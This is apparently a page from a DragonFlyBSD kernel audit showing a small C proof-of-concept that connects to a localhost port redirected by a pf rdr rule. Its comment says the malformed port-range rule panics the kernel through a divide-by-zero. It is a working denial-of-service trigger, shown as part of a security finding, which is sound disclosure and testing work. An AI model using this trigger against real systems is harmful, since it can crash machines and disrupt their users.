⬢ DragonFlyBSD Kernel Audit
DF-3263 / trigger_div0.c
← back to finding ↓ download raw
/*
 * DF-3264 PoC trigger — send one SYN to the rdr'ed port.
 * The rule translation itself panics the kernel before any reply,
 * so a plain TCP connect suffices (the SYN passes through pf IN on lo0).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(void)
{
	struct sockaddr_in sin;
	int s;

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0) { perror("socket"); exit(1); }
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9998);
	sin.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */
	printf("trigger: connecting to 127.0.0.1:9998 (rdr port 5001:5000)...\n");
	fflush(stdout);
	connect(s, (struct sockaddr *)&sin, sizeof(sin));
	printf("trigger: connect returned (no panic?)\n");
	close(s);
	return (0);
}